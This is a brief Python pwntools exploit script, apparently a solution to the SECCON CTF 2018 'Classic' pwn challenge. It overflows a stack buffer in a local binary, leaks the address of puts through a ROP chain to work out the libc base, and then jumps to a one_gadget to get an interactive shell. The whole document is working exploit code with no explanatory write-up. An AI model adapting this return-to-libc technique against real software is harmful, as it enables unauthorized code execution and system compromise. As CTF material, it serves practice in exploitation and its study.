SECCON CTF 2018 Classic

exploit.py

from pwn import *
  
p = process("./vuln")

e = ELF("./vuln")
l = e.libc

pr = 0x400753
main_start = 0x4006A9
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]

payload = "A"*(0x40+8)
payload += p64(pr)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(main_start)

p.sendlineafter(">> ",payload)
p.recvuntil("!!\n")

puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = puts_addr - l.symbols['puts']
one_addr = libc_base + one_gadget[1]

payload2 = "A"*(0x40+8)
payload2 += p64(one_addr)
p.sendlineafter(">> ",payload2)
p.interactive()